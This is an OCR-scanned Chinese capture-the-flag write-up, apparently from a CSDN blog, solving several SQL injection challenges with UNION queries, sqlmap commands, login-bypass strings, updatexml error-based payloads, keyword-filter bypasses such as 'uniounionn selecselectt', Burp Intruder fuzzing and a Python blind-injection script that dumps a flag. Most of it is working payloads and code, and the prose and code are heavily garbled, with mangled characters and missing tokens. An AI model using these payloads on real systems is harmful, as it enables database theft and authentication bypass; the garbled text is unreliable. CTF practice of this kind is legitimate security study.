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1. BHoHWsqiE A& R

LEAIE/FTMNL i, FEEESR, 7TCHWE R sqiE f R %2

XXXX XXXX id "input_id' [xxxx

B R

XXXX XXXX id 'input_id' XXXX


https://blog.csdn.net/huanghelouzi/article/details/82995313
http://120.24.86.145:8002/chengjidan/index.php

g Load URL | http://120.24.86.145:8002/chengjidan/index.php
i Split URL +
») Execute
[ Enable Post data Enable Referrer
Post data id= l|

1,2,3...

Submit

i8]

B

fEid = 1" WEEEN EERS « 2B RWAHEEE ER, AT LA EsqigaKERRE id = "input_id' »
HHAREAS A REM id = "input_id", id = ("input_id"),id = ('input_id') &%, EARM—F REEE 2R KB,

2. HbriR A 51

"] LAEH order by FRIHIBHREIFIFIE .. 2#iE post ZHH K order by N5 B, FHEEEE. EN 4 HEFREE. FrblEimEER
=] 5 B B 4 o

id=1"' order by 5 #

3. W5 v % (5] B A S S DA 3K

' union select 1,2,3,4 #

11 S

FEREIKIFI A2 5, BT CAPAT J5 4k I BRAE R & ) S P8R 7
tindE i SatmBdEEL M LA P4 DR HRiHsql A s

-1' union select 1,database(),user(),version() #



sketf_flag skectf_flag@localhost 5.5.34-log

4. FENH ZHTBEE TR KR4

id=-2"' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=dat

ELENI@DE:

2 3 fldg,sc

5. EAHFE—IRF W4

union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table name="f

2 3 skctf_flag

FEACMIECERERBIREELAR. SREEENAS LR DREEEERNTERE. RN RIPNERTRAEATESHE. F
WEHIER flag FIIETMF L RE —A skctf_flag . HMABHEHNFZRATR? H5FEH

6. EAHTFBAR

MARMHEANKELR, SFEREL 54, RTUEATFRART .

id=-2" 1,2,3 skctf_flag flag
sqlmap A

sqlmap — 2K A SRS 5 1 FH SQLYE IR 1) 4 B FF IR R4 25
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POST /chengjidan/index.php HTTP/1.1

Host: 120.24.86.145:8002

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
Referer: http://120.24.86.145:8002/chengjidan/index.php

client-ip: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 4

id=1

=l post_sqli.txt XA A

$ sglmap -r post_sqli.txt

Parameter: id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'ShhA'='ShhA

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: id=-2292"' UNION ALL SELECT CONCAT(0x716b716b71,0x45784b6e4e78446d737053476e4c4875704c6a58414e444171
6762646741634d436c5061554d636b,0x71766a7671) ,NULL,NULL,NULL-- EKPR

sqlmap -r post_sqli.txt --dbms=mysql --dbs

tip: H TR — P EEMERTERRBEOERAS, TTLIRMSE - -dbms=mysql , 15 sqlmap R#H1T5 mysql HREITRK.
PATHE R
available databases [2]:

[*] information_schema
[*] skctf_flag

$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf flag --table

PATE R



: skctf_flag

5. JRELFTE KI5 4

$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g --columns

PATE R

Database: skctf flag
Table: fl4g
[1 column]
———————————— dmmmmmmm e

Column

skctf_flag | varchar(64)

———————————— T T

6. KW FBIE

$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g -C fl4g --dump

5

¢

—RUUFEA LRI, TEEBRKEZAN TR get 4S8, MEHAAN id = input_id .

CG-CTF-sqliEA1

A, B THERE, E5 @RS,


http://ctf5.shiyanbar.com/8/?id=1
http://chinalover.sinaapp.com/index.php

html

head

Secure Web Login
head

body

if( [user] [pass]) {
mysql_ connect(SAE_MYSQL HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_ select db(SAE_MYSQL_DB);
trim( [user]);
md5 (trim( [pass]));
"select user from ctf where (user='". ") and (pw="".
echo '</br>". ;

mysql_fetch_array(mysql_query( ));
if( [user]=="admin") {

echo "<p>|_ogged in! .Flag‘k‘k‘k‘k‘k‘k‘k‘k************ </p>";

1
J

if( [user] "admin") {

echo("<p>You are not admin!</p>");

}

echo [user];

form method=post action=index.php

input type=text name=user value="Username"
input type=password name=pass value="Password"
input type=submit

form

body
a href="index.phps">Source</a

html

B R EBEAH AR, BREAEMKBF. P HsqliEq

"select user from ctf where (user="". ") and (pw="".

EEWHZEREMA LRGP ANEN, FER: BTERAEMPIEsqiE KR, Brl—BIE¥KEREQN

select user from ctf where user admin pw XXXXXX ;

BT EARBFEN, FTCBATT DEX N ERER, EREEEN oAl XU ARIEZRHEER. XA
select user from ctf where user = admin -- and pw = zZxxxxx;

EXANHES, FEMIE user=admin') # BIW], L ') WIRFEZ THEKsqiE A2 XENHER, FFUFEECHEL ) fF
18 user AL A

"select user from ctf where (user='". ") and (pw="".



@ Load URL | http://chinalover.sinaapp.com/index.php
4 Split URL
v} Execute
[FAEnable Post data Enable Referrer
FPost data | user=admin’)-- - &pass=123456

]
Secure Web Login

Logged in! |-
admin
Username sssssnse B TS
Source
JIRE 152

PASEIG X R BT, R 75 ey o

JIREER: FIREER RS BRIIE H BN EE RS & K EH

LR RS

username test

password | password

ot
f=n

— R BRI T A KR T, WREWmBAR KN, BUEM burp site HEATHEBINIRA.
RBET —T, KAWL THRET

select
or
union
/
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http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

RKMERLE <. 2. O~ =, FAEAFH Aesn 552 BRSE S M.
http://ctf5.shiyanbar.com/web/wonderkun/web/login.php £ A\postZ 4l username="="8&password="=" K ILF] LA H £ 5.

ctf{51d1bf8fb65a8c2406513eebi52283e7)

hint:

username:'='

password:'='
username password
hell02w 69bc7cf459bcff03625939193ec71ele
w0d3rkun dbb9111e4ed03e2d4021c3c3b0ac8749
mutOr3nl 8684649033691 1c0f3c6e07cc197d22¢

Bz ERA—IEE=ZHR, BERAT BB,

o JREfRRE

username="'="'&password="=" : kﬁ}ﬁﬁ%%sqliﬁ’ﬂ%ﬁﬁﬂ‘]

select from users where username 'input_username' password "input_password’;

select from users where username

password

I8 — o H1E LR

CG-CTF-SQL Injection
tips : TIP:JRAFHTL AT LA SR AT 402 5 AH 5% 2R i) A vk

T AR XA PR IR JE SRS, B ] B RS AT R B U8 T RN 5] 5 AR XS] S


http://chinalover.sinaapp.com/web15/

#GOAL: Login as admin,then get the flag;
error_reporting(9);

require 'db.inc.php’;

function clean( ){
if(get_magic_quotes gpc()){

stripslashes( )5/ /R RAIAL, £#EX
1
J

return htmlentities( , ENT_QUOTES) ; // 4i#3X 5| 5 1 £ 5] £

@clean((string) ["username']);

@clean((string) ["password']);

'SELECT * FROM users WHERE name=\"'". ."\" AND pass=\""
mysql_query( );
if( mysqgl_num_rows ( 1){
die('Invalid password!');
)i

echo

REgEEd I ARFIL, BFFHHRIS, SRRsqiERKZE, FHsqiEA.

payload : ?username=&password= or 1%23

FROM users WHERE
‘\' AND pass="'

R H IR


http://4.chinalover.sinaapp.com/web6/

html

head

Secure Web Login II
head

body

if( [user] [pass]) {
mysql_ connect(SAE_MYSQL HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql select db(SAE_MYSQL _DB);
[user];
md5 ( [pass]);
@mysql_fetch_array(mysql_query("select pw from ctf where user='

if (( [pw]) (!strcasecmp( > [pw]))) {
echo "<p>Logged in! Key: ntcf{¥*¥k**¥xidktxxl ¢/p>";

1
J

else {
echo("<p>Log in failure!</p>");

form method=post action=index.php

input type=text name=user value="Username"
input type=password name=pass value="Password"
input type=submit

form

body
a href="index.phps">Source</a

html

] LB Bl S HuseriE Hadminf) %15, RS &Eflag, W UEEERHEEMEE, @idunionE#HRET. HuniondiH
HIAE A E A R R S PAT B KES], BT LA T H ) payload:

Username=" union select '9b17d9b51d0d090939ca6ffllc7d8clb&Password=jedi

H ) 9b17d9b51d0de90939ca6ff11c7d8cib HNjediffimd5E .

@ Load URL  http://4.chinalover.sinaapp.com/fweb6/ -
i Split URL +

) Execute
[Enable Post data Enable Referrer
Post data Username="union select '9b17d9b51d0d090939cabff11c7d8clb&Password=jedi -

Secure Web Login Il
d0d090939cabffllc7d8clb || esee mEREN

Source

25 3 K 25



' union select 'jedi';

B E—MsqiEANTEISEATEH JLFEA T B R, FORILERweb S B A FEA R wat B 7R THET 5 R B %2 4 7 @45,
FrUA B E R IIEN, TEST.

DLSELG B X — @A ) in ik — B L FSQLIEAN B 45T .

HBABEHZE, RI— tips , ERERIE N username M password 4.

@ Load URL | http://ctf5.shiyanbar.com/web/baocuo/index.php -
i Split URL +
) Execute

Enable Post data Enable Referrer

Please login!

tips:post username and password...

R BRI

Fost data username=admin&password=b2 )

Login failed

AT EE M REANE R RS

"select * from users where username=' ' and password="

MR EIsqiBEA L, B RCTREBEAEI LA TS M %2 F LaE A TR HsqiE A 4.
XEFEH burp site R HIXt username LA K password AT sqlyE AR .

W3 )3 [B] B 25 A8 DO P o

H—MIiR[E User name unknow error.

® O Intruder attack 5

fttack Save Col uins
_[ Resul ts T Target T Fositions T Fal cads T Mpticns ]

[Fil ter: Showing all items |@
Beqest | Positicn | Payl cad | Status | FError | Tim.. | Length & | Comment -
253 3 declare @y mvarchar ... 200 ()] L]z 2
230 3 » variable 20 L 20 r\]
orD L=l . L el I 1 I 1 Ll


http://ctf5.shiyanbar.com/web/baocuo/index.php

ik (u] h, P ) u u S _—j
355 3 ) 200 O O 2o
35 3 o8 20 O O 2o
35 3 %) 200 O O 2o
3% 3 T ar (EXETE) 20 LJ L) 2n
=7 3 * (eelect top 1 200 O O o
40 3 (ol attempt2) 20 O O 20
477 4 pdatezl 20 O O o
21 3 2 or I=1-- 20 OO om L
275 3 e 20 O O 2m v

——
Faw &ﬂ&rsTHﬁch&]
Date: Wed, 10 Oct 2018 12:41:29 GMT A
Server: Apache/2.4.18 (Win32) OpenS55L/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 67
Connection: close
Content-Type: text/html

<center style='color:red's=<hl=User name unknow error.</hl=</center=

¥
L_EJ L:iJ L:_JL;iJ Tpe & s=arch ter 0 matches
Finished £ —

2 iR [El sql injection detected , JRIKNiZ 2 ik T HUskiA

® O Intruder attack 5

| &ttack Save Col wins
!j Rasul ts T Target T Positicns T Payl cads T Opticns ]

|| Filter: Showing all itens @
l&mﬂﬂ | Positicn | Fayl cad |Status | Error | Tiw... | Length & | Cowert
{2 3 a or 1=1-- 20 LJ L] Zi3 &
i 275 3 "2 ar 1=1- 20 O O om
|2 3 a weitfor delay "0, 200 LJ L) zi3 )
|z 3 1ar 1=1 20 O O mm
|2 3 dor’a ="a 200 LJ I
2% 3 ora=a am L L 2@
281 3 declare @y mwercher .. 200 LJ L) zi3
280 3 1 wmitfor delay "C:0.., 20 O O mm
282 3 declare s varcher(2,,. 200 O O 2m
o 3 declare @ warchar (.. 200 LJ ) 2w
287 3 " or 171 20 O O 2m L
201 3 anything (R°€<x 20 O O mm v

Fesponse
Faw | Headers | Hex

|Date: Wed, 10 Oct 2018 12:41:28 GMT A
iServer: Apaches/2.4.18 (Win32) OpenSSL;/1.0.2e PHP/5.3.29

X-Powered-By: PHP/5.3.29

iContent-Length: 70

Connection: close

Content-Type: text/html

j=center style='color:red'=<hl=Sql injection detected</hl=</center=<br>

!
i
ZLjLJl_SJ Lj_JLjiJ Tvpe & ssarch ter 0 matches

| Finished |5

Jl_

H=MIRE] Login failed , IX—FfR I MBS R T .

e @ Intruder attack 5

| &ttack Save Coluwms
!_[ Fesul ts T Target T Positions T Favl cads T ptions ]




| Filter: Shoving a1l itens @
| Femest | Position | Payl oad | Status | Error | Tim.. | Length & | Comert

& 1 FRINT fvariable 200 O O & i
= 1 salect 200 O O o= r
& 1 insert 200 OO s

|63 1 [z= | 20 U J s

& 1 or 200 O O &

| &5 1 procadire 20 OO s )
& 1 Tinit 200 O O o

& 1 pdatel 200 O O o=

&7 1 order by 200 O O o

& 1 wicn 200 O O am

0 1 asc 200 O O o L
71 1 desc 200 O O o= v

ro—
Faw | Headers | Hex

|X-Powered-By: PHP/5.3.29 &
|Content-Length: 133

Connection: close

[Content-Type: text/html

<br=<=center=<h2=Login failed</h2=</center=

<!-- gsql="select * from users where username='gusername' and password='$password'";

' 5
? 4 + > | |Tvpe a ssarch term 0 matches

|Finished B0 —

% DR [B] 3t R IE VR R .

Intruder attack 5

Attack Save Colums
_[ Resul ts T Tarzet T Positions I Favl cacls T Tptions ]

|Filter: Shoving all itens &
Remqest | Position | Payl cad | Status | Errer | Tim... | Length 4 | Coment i
w4 4 || UTL_HTTF, BQUEST 200 O 0O =% i
522 4 " or (BASTS) 20 O O 3=
27 3 : 20 O O =
285 3 2 20 O O
o 3 ’ 20 O O
400 4 20 O O e
433 4 20 UJ L) 39
421 4 a 20 UJ [ 3%
535 4 " el attenptl 20 UJ L) 3
A 4 T (gelect top 1 20 UJ [ 38
8 3 || UTL_HTTF. FEUEST 200 O O 3m
T 2 " ol attemptl 200 J [ 3 v
—
Eaw | Heackrs | Hex
HTTP/1.1 200 0K A
r

Date: Wed, 18 Oct 2818 12:41:31 GMT

Server: Apachef2.4.18 (Win32) OpenSSL/1.8.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

Content-Length: 180

Connection: close

Content-Type: text/html

<br=You have an error in your SQL syntax; check the manual that corresponds to your MySOL server version for the
right syntax to use near 'sqlattemptl' and password='b2'' at line 1

SRIGEEF username TR T R IX deocp 7



password I TiXx—i, F R EEW KRBT, MARERT.

WE—T, T union MBWRENRHTEAE N, W THSHERXARMEHRE, (22 username &F T8 updatexml FF
H password ZHE AL IERES, MFETHK Bk RIEE updatexml() T .
B BB 4 2 updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

FE—AZSH: XML_document&String#g =, FNXMLITE N S EFK, SCHHDoc

FEASH: XPath_string (Xpath#& RIF/FE) , WRA T XpathiBik, FTUZEMN EEREFE.
FE=ASH: new_value, String#sz, BHIRERIIMAFE FIFHLEE

mysql> select updatexml(1l,concat(@x7e, (SELECT database()),0x7e),1);

ERROR 1105 (HY@@®): XPATH syntax error: '~test~'

KX K, & EEKsqiEAF database() BUNBE K S EsqiEAIEIT
BB IER, A BRI T7E B2 httpSEEAN

http 2 FREN AL —MEPATHIER, FESIWASHE, HFEBRDEKRA, REBENKH K

EEAENE post ZHURIXFER

Post data username=admin&password=pass :
+
Login failed
R G B RAERH T
1. BHE

username=admin' or updatexml/*&password=*/(1,concat(@x7e, (select database()),0x7e),1) or '1

Post data username=admin’ or updatexml/*&password="*/(1,concat(0x7e, (select database()),0x7e),1) or '1 =

XPATH syntax error: "~error_based_hpf~'



2. BR
AP EHMBRERTER =, HE -#idiE, FFUTESENFT SRR, EASRE TEERK A B .

username=admin' or updatexml/*&password=*/(1,concat(0x7e, (select group_concat(table name) from information_schem

a.tables where !(table schema <> database())),0x7e),1) or '1

Post data username=admin’ or updatexml/*&password=*/{1,concat(0x/e,(select group_concat(table_name) from -
information_schema.tables where !(table_schema <> database())),0x7e),1) or '1 +

XPATH syntax error: '~ffll44jj,users~'

EAR RIS T REGEXP 7] DA SREUAR = ©

username=admin' or updatexml/*&password=*/(1,concat(0x7e, (select group_concat(table name) from information_schem

a.tables where table schema REGEXP database()),0x7e),1) or '1

3. B¥E

username=admin' or updatexml/*&password=*/(1,concat(0x7e, (select group_concat(column_name) from information_sche

ma.columns where table name REGEXP 'ff1144jj' ),0x7e),1) or '1

Post data username=admin’ or updatexml/* &password=*/(1,concat(0x7e, (select group_concat(column_name) from =
information_schema.columns where table_name REGEXP 'ffll44jj' ),0x7e),1) or '1 I

XPATH syntax error: "~value~'

4. BARE

username=admin' or updatexml/*&password=*/(1,concat(0x7e, (select value from ff1144jj ),0x7e),1) or '1

NG

BE sqliEAN AER, B

sqlR BIEA

tips : &H 24 Mlag
flag¥ /NG
flaghg =\ flag(}
B

X—@HFEZIRT REEN , FEAOERX BN ZERBMNERIEH . ERERERT .


https://blog.csdn.net/huanghelouzi/article/details/82995313
http://123.206.87.240:9004/

@ Load URL
i Split URL
+) Execute

http://123.206.87.240:9004/1ndex.php
Pid=2

| |Enable Post data = Enable Referrer

There is nothing ,seriously.

dBIBRZ EERRIXR sqUEA » ZHWR T HEMEN, BWEH L, BERIXRE FIEA -
FRRKE—-THER

@ Load URL | hitp://123.206.87.240:9004/1ndex.php -
0 spliturL | ?id=2 +
+) Execute

| |Enable Post data | Enable Referrer

XANMEERHAET RS SHE, FAREREZERRE Error,Error, Error! o« 7E URL KRG EVER --+ RILBEHHRE,
FrUA R IX R SQUIEA o SRJE HIWTsqE A KSR

http://123.206.87.240:9004/1ndex.php
?id=2’ or 1=1—+

http://123.206.87.240:9004/1ndex.php
?id=2’ oorr 1=1—+

KB or Al and FREEFHILIE, EHETWUNESE . B KM FRIELRAWIE? FTEMHB|—ADUM sqlRREN KR
. MRWREANL, REEANRERHAZAHA (RAERFAE) AR

http://123.206.87.240:9004/1ndex.php
2id=2"length(“union”)!=0)—+

AMEIREIER, FrL UL length("select")==0, HWER Y select KEFHITIE.
I A5 P 7 B )R — T e SR A


http://123.206.87.240:9004/1ndex.php
http://123.206.87.240:9004/1ndex.php
http://123.206.87.240:9004/1ndex.php

or

and

select

union

B, mMExEHofy T

BT IR T LA E Gt . BT LAJG & AbEE FI R % 2 45 B string fiireplace H B R 7 B = .
1. BRE:

http://123.206.87.240:9004/1ndex. php

?id=-2"' uniounionn selecselectt 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=
database() --+

@ load URL | http://123.206.87.240:9004/1ndex.php -
g% Split URL ?id=-2" uniounionn selecselectt 1, group_concat(table_name) from infoorrmation_schema.tables where +

table_schema=database() --+
+) Execute

Enable Post data Enable Referrer

http://123.206.87.240:9004/1ndex.php

?id=-2"' uniounionn selecselectt 1, group_concat(column_name) from infoorrmation_schema.columns where table_name=
‘flagl'--+

w Load URL  http://123.206.87.240:9004/1ndex.php B
g% Split URL ?id=-2" uniounionn selecselectt 1, group_concat(column_name) from infoorrmation_schema.columns where +

table_ =flagl--+
e able_name="lag

Enable Post data Enable Referrer

3. B



http://123.206.87.240:9004/1ndex.php

?id=-2"' uniounionn selecselectt 1,flagl from flagl--+

RIVEN R RIZXAF R usOwycTju+FTUUzXosjr » EHRIRIIANIER, PR address FBIHE. B2

@ Load URL hittp://123.206.87.240:9004/1ndex.php -
1 Split URL ?id=-2"uniounionn selecselectt 1,address from flagl--+ +

Execute

Enable Post data Enable Referrer

F—xst

@ Load URL | http://123.206.87.240:9004/Once_More.php =
§ spliturL | ?id=1] +
Execute

Enable Post data Enable Referrer

anT TEll You,

Best Waf Ifrb}tect Me Now!
& -
Find Me! *

XRE—ANEN, FBHE 2Kk XM,
fE id=1 ZJE—A ' EHIE mysql KREE B ERITE LR, HFAEERIERMNWENIdERITENR. FEMZIREEH KM
T

@ load URL | http://123.206.87.240:9004/0Once_More.php -
db Split URL |?i[|=ll or1=1--+ | +

Execute

Enable Post data Enable Referrer



http://123.206.87.240:9004/Once_More.php?id=1

i ¥
i wanT TEIL You,

est Waf Protect Me Now!

&

-

Fin_d Me!

| @ Load URL  hitp://123.206.87.240:9004/Once_More.php .
i splitURL [2id=1and 1=0 | :

*) Execute

Enable Post data Enable Referrer

I wanT TELL You,

L Best Waf Protect Me Now!

anual that orrespond‘s to your MySQL server version for {
atdine 1

m

Wi Wise near

56 A S B N B 7 ¥t T DU BT THT ) S 7 i

union substr sleep

NELESRT, KANBETLESGE, /! 1RESRT.
BT LA 2238 4# A updatexml 48

1. B’E

http://123.206.87.240:9004/0nce_More.php

?id=1"' and updatexml(1,concat('_',(select group_concat(table name) from information_schema.tables where table_ sc
hema=database()),"' "),1) --+

XPATH syntax error: ',flag2 '




2. BFE

http://123.206.87.240:9004/0nce_More.php
?id=1' and updatexml(1,concat('~",(select group_concat(column_name) from information_schema.columns where table

name="flag2'),'~"),1) --+

XPATH syntax error: '~flag2,address~'

3. BAE

http://123.206.87.240:9004/0nce_More.php
?id=1"' and updatexml(1,concat('~"',(select flag2 from flag2),'~"'),1) --+

XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~"'

— BRI, sqlEES N=FhRA
HTA/RSQLEE

T K SQLE
ETIREKISQLEE

FBIF B4 ResqIETE, FFUASE S B sql B EmIA .

Please input the id

OUAICIN vevveevnennnens

BT R BENAK, KB DS XA, REIRSR A =

Lid

Youarein...: IEH
You are notin ...: AIEH, BEFEKERFEEHNIIRIAESIEES, BREFME waf
Sql injection detected!: AIEH, RERZENKIdIERSEEHE, iR waf .

T HRT BRI, XEMEH TR surp site #17, RAEHZEBETHE.
KERET —T, HFErgRias


http://ctf5.shiyanbar.com/web/earnest/index.php

union
order by
handler
and
ThE
substr
sleep
or

’

BR or KETH FRIKEK, TURNEREHRENGSTL . FHljEESREIHFAER], #H replace BEIE or BEHAZT.
FrUEA EBREEN, HEEERARE

id=0'oorr'e'oorr'e iR[E] You are not in

id=0'oorr'1'oorr'e & [E You are in

HIRFE fiRBEE, B

id=0"'oorr(select(length(database())=18))oorr'e iR [F] You are in A LA M BIE EE L R K BN 18, Hirf
HIBEAS oorr RIS HAT LAIE S . REXANBBRATUSH—TH 8El4s, FEEENE or 2B ESERNTH

PA information % F B R EBUNERMLL infoorrmation , , #ITIERTLAEMEM from xx for xxx B, ZTHFTLMER /++/ A
. BRSBTS ERE o

UTREBEMENNE, FETH requests FE, RIBEFMIL, RRLEHE RN T K EBRHET R,

#!/usr/bin/env python3
# coding:utf-8
# power by jedi
import requests

headers = {
"POST": "/web/earnest/index.php HTTP/1.1",
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate"

}

url "http://ctf5.shiyanbar.com/web/earnest/index.php"

str_right "You are in"

guess "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?! :@#$&[]._ "

def get database name_length():
print("get_database name_length start...")
i=20
while True:
data {
'id': "@'oorr(length(database())=%s)oorr'e" i,
"submit": "%E6%8F%90%EA%BABAAKEEHIFHASHEBHAFHA2"
b
response requests.post(
url, data=data, headers=headers, timeout=3).text
# print(response)
if str_right in response:
print("database name length: %s" i)
return i
1



https://blog.csdn.net/huanghelouzi/article/details/82995313

print("get_database name start...")

# database_name_length = get database name_Length()
database_name_length 18
database_name "
for i in range(©@, database_name_length):
i 1
for x in guess:
data {
'id': "@'oorr(mid((database())from(%s)foorr(1))="%s"')oorr'e" (i, x),
"submit": "%E6%8F%90%E4%BABAAKEEKHIFHASKEBHAFHA2"
¥
# print(x)
try:
response requests.post(
url, data=data, headers=headers, timeout=3).text
# print(data)
if str_right in response:
database_name X
print("%s %s" (i, x))
break
except Exception as e:
print(e)
print("database name:%s" database_name)

def get_table name():
print("get_table_name start...")
table_names "
for i in range(390):
i 1
for x in guess:
data {
"id": "@'oorr((select(mid(group_concat(table_name)from(%s)foorr(1)))from(infoorrmation_schema.ta
bles)where(table_schema)=database())="%s")oorr'e" (i, x)
}
try:
response requests.post(
url, data=data, headers=headers, timeout=3).text
# print(data)
if str_right in response:
table_names X
print("%s
break
except Exception as e:
print(e)
print("table names:%s" % table_names)




def get column_name():
print("get_column_name")
column_name "
for i in range(30):
i 1
for x in guess:
data {
"id": "@'oorr((select(mid(group_concat(column_name)from(%s)foorr(1l)))from(infoorrmation_schema.c
olumns)where(table_name)="'fiag')="'%s"')oorr'e" (i, x)
¥
try:
response = requests.post(
url, data=data, headers=headers, timeout=3).text
# print(data)
if str_right in response:
column_name X
print("%s %S
break
except Exception as e:
print(e)
print("table names:%s" column_name)

print("dump_flag")
flag "
for i in range(390):
i 1
for x in guess:
data {
"id":"@'oorr((select(mid((fl$4g)from(%s)foorr(l)))from(fiag))="%s")oorr'0"%(i,x)
¥
#print(data)
try:
response requests.post(url, data=data, headers=headers, timeout=3).text
if str_right in response:
flag X
print("%s %s"%(1,x))
break
except Exception as e:
print(e)

def main():
# get database _name_Length()
#get table name()
#get _column_name ()
dump_flag()

if _ name___ ' _main__':

main()

NG sqlEE—BEEAMEENRT, REAHNREERRET, BRERRTRY, BEHD.
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